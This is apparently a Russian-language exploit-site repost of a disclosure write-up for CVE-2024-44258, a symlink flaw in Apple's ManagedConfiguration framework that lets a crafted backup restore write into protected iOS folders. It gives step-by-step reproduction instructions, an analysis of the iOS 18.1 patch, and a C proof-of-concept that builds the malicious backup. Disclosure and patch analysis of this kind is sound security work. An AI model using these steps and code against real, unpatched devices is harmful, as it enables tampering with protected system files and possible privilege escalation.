## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-IFPDZ-CVE-2024-44258
# CVE-2024-44258: Уязвимость символьных ссылок в ManagedConfiguration Framework
## Краткое описание
**CVE-2024-44258** описывает уязвимость символьных ссылок (symlink) в **ManagedConfiguration framework** и демоне **profiled** на устройствах Apple. При восстановлении специально созданной резервной копии процесс миграции не проверяет, является ли целевая папка символьной ссылкой, что приводит к несанкционированной миграции файлов в ограниченные области.
* * *
## Идентификатор CVE
**CVE-2024-44258** присвоен данной проблеме. CVE — это уникальные идентификаторы публично раскрытых уязвимостей безопасности.
* **Воздействие:** Восстановление вредоносной резервной копии может привести к изменению защищённых системных файлов.
* **Описание:** Проблема устранена с помощью улучшенной обработки символьных ссылок в затрагиваемых компонентах.
Для получения дополнительной информации обратитесь к официальным страницам поддержки Apple:
* support.apple.com/ru-ru/121569
* support.apple.com/ru-ru/121566
* support.apple.com/ru-ru/121563
* * *
## Подробности
### Затрагиваемые компоненты:
* **ManagedConfiguration framework**
* **Демон profiled**
### Воздействие:
Уязвимость позволяет злоумышленникам использовать символьные ссылки при восстановлении резервной копии для обхода ограничений папок и записи файлов в изолированные или защищённые области. Эта ошибка может потенциально привести к несанкционированному доступу к данным, повышению привилегий или эксплуатации других служб, зависящих от изменённой конфигурации.
* * *
## Воспроизведение
1. **Создать специально сформированную резервную копию**
* Создать символьную ссылку из:
`/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/`
в изолированную папку с использованием домена:
root@kitploit:~
SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles
2. **Добавить нужные файлы**
* Поместить файлы и папки в:
`/private/var/mobile/Library/ConfigurationProfiles`
с помощью **HomeDomain**.
3. **Восстановить созданную резервную копию**
* Восстановить резервную копию на любое устройство iPhone, iPod или iPad.
4. **Перезагрузить устройство**
* После перезагрузки проверить содержимое ограниченной области. Вы обнаружите, что файлы/папки были перенесены в ранее защищённое место.
* * *
## Ожидаемый и фактический результат
* **Ожидалось:**
`/private/var/mobile/Library/ConfigurationProfiles` должны быть перенесены в:
`/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/`
* **Фактически:**
Из-за созданной символьной ссылки файлы переносятся в ограниченную папку, которая может содержать конфиденциальные или защищённые данные.
* * *
## Статус эксплойта
Эта уязвимость наблюдалась **в дикой природе в течение нескольких месяцев** , что указывает на её активную эксплуатацию.
* * *
# Описание исправления
В **iOS 18.1 beta5** Apple внедрила исправление для устранения уязвимости символьных ссылок в **ManagedConfiguration framework**. Была добавлена функция `_MCDestinationPathIsSafeFromSymlinkAttacks`, выполняющая проверку безопасности конечного пути и предотвращающая несанкционированную миграцию файлов в ограниченные области. Эта проверка была специально добавлена в функцию `MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:`.
* * *
## Затрагиваемая функция: `-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]`
Исправление уязвимости было реализовано путём изменения функции **`-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]`** , которая отвечает за миграцию файлов в рамках **ManagedConfiguration framework**. Вот как работает исправление:
* **Добавление проверки символьной ссылки**
Apple добавила вызов `_MCDestinationPathIsSafeFromSymlinkAttacks` в начале `MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:`. Эта функция теперь проверяет, не содержит ли конечный путь символьных ссылок, добавляя уровень защиты перед выполнением операции миграции.
* **Условная проверка**
Если `_MCDestinationPathIsSafeFromSymlinkAttacks` обнаруживает символьную ссылку в конечном пути, миграция блокируется. Функция записывает **сообщение об ошибке** с помощью `OS_LOG_TYPE_FAULT` и завершает файловую операцию досрочно.
* * *
## Сравнение кода
С помощью **Diaphora** в **IDA** сравнение версий **iOS 18.1 beta4** и **iOS 18.1 beta5** показывает изменения в функции `-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]`. Изображение ниже демонстрирует модифицированный код с добавленной проверкой символьной ссылки.

* * *
## PoC (Доказательство концепции)
Ниже приведён пример кода, демонстрирующий создание резервной копии, эксплуатирующей уязвимость. Этот код показывает, как добавить символьную ссылку и файлы в резервную копию, имитируя процесс, но не предоставляя фактический файл резервной копии.
root@kitploit:~
unsigned char* plist_data = NULL;
file_read("/path/to/your/test-outofsandbox.plist", &plist_data, &plist_size); // ЭТОТ ПУТЬ НУЖНО ИЗМЕНИТЬ
backup_add_directory(backup, "HomeDomain", "Library/ConfigurationProfiles", 0755, 501, 501);
backup_add_file_with_data(backup, "HomeDomain", "Library/ConfigurationProfiles/test.plist", 0755, 501, 501, 4, plist_data, plist_size); // ДОБАВЛЯЕМ СВОИ ФАЙЛЫ
backup_add_directory(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", NULL, 0755, 501, 501);
backup_add_symlink(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", "Library", "/private/var/mobile/Library", 501, 501); // ИЗМЕНИТЕ ПУТЬ НА ИЗОЛИРОВАННУЮ ПАПКУ, В КОТОРУЮ ХОТИТЕ ЗАПИСАТЬ ФАЙЛЫ
backup_write_mbdb(backup); // СОХРАНИТЬ РЕЗЕРВНУЮ КОПИЮ
backup_free(backup);
* * *
## График раскрытия
* **Первое сообщение Apple:** [06.07.2024]
* **Назначен CVE:** CVE-2024-44258
* **Публичное раскрытие:** [02.11.2024]
* * *
## Благодарности
Особая благодарность команде безопасности Apple за быструю реакцию и сотрудничество.
Уязвимость обнаружена Hichem Maloufi & Christian Mina
* * *
## Лицензия
Этот репозиторий распространяется под лицензией MIT. Дополнительную информацию см. в файле `LICENSE`.